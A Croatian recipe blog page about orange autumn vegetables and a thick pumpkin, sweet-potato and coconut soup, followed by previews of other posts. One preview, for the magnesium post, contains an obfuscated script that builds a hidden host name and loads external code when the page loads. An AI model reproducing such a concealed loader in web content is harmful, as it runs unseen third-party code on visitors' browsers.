NA JESEN SE JEDE NARANČASTO I GUSTA JUHA




Na jesen se jede narančasto i gusta juha 



Jesen je idealno vrijeme da prehranu prilagodimo hladnijim danima te iskoristimo sezonske namirnice koje su tada najukusnije i najdostupnije.





Narančasto povrće 

Organizam u jesenskom razdoblju posebno ima koristi od raznolike prehrane bogate vlaknima, vitaminima, mineralima i kvalitetnim proteinima. Zato u svoju prehranu uvrstite više narančastog povrća - bundevu, mrkvu i batat. Narančasto povrće bogato je beta - karotenom koji organizam pretvara u vitamin A, važan za normalnu funkciju imunosnog sustava, vid i zdravlje kože.






Batat 

Batat sadrži vlakna, kalij i beta - karoten koji pridonose zdravlju probave, normalnoj funkciji mišića i očuvanju zdravlja organizma.




Bundeva 

Bundeva obiluje beta - karotenom, a sadrži i vlakna te vitamin C zbog čega je odličan izbor za uravnoteženu jesensku prehranu.




Mrkva 

Mrkva sadrži antioksidanse koji pomažu u zaštiti stanica od oksidativnog stresa, a njezina vlakna pridonose zdravoj probavi i duljem osjećaju sitosti.

Mnogi su benefiti koje narančasto povrće donosi našem organizmu. Bundeva je odlična za juhe, pečenje i rižota, batat kao prilog ili dodatak varivima, a mrkva ide u baš svaki lonac.




Gusta juha 


Sastojci:

1 bundeva 
2 veća batata 
2 mrkve 
1/2 korabe 
1 korijen peršina 
2 luka 
3 - 4 češnja češnjaka 
1/2 manje glavice korijena celera 
400 ml kokosova mlijeka 
Kokosovo ulje 
Sol
Kajenski papar 
Cimet 
Timijan 




Priprema:

Prvo napravite temeljac od oguljene i na kockice narezane mrkve, korabe, jednog luka oguljenog i prerezanog na pola, celera i peršina.

Povrće za temeljac prelijte s oko pola litre vode, dodajte sol i papar te kuhajte oko 20 minuta tek toliko da povrće omekša.

Dok se temeljac kuha bundevu i batat ogulite te narežite na kockice.

Začinite solju, kajenskim paprom, timijanom, češnjakom i kokosovim uljem te pecite u pećnici na 180 stupnjeva oko 30 do 45 minuta.

Kada su batat i bundeva pečeni dodajte ih u temeljac bez vađenja skuhanog povrća iz njega.

Potom dodajte veći prstohvat cimeta te po želji još soli i papra, zatim kokosovo mlijeko te kuhajte još 10 minuta.

Na kraju izmiksajte štapnim mikserom i poslužite kremastu juhu.




Pripremila: Ivana Matas 




Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više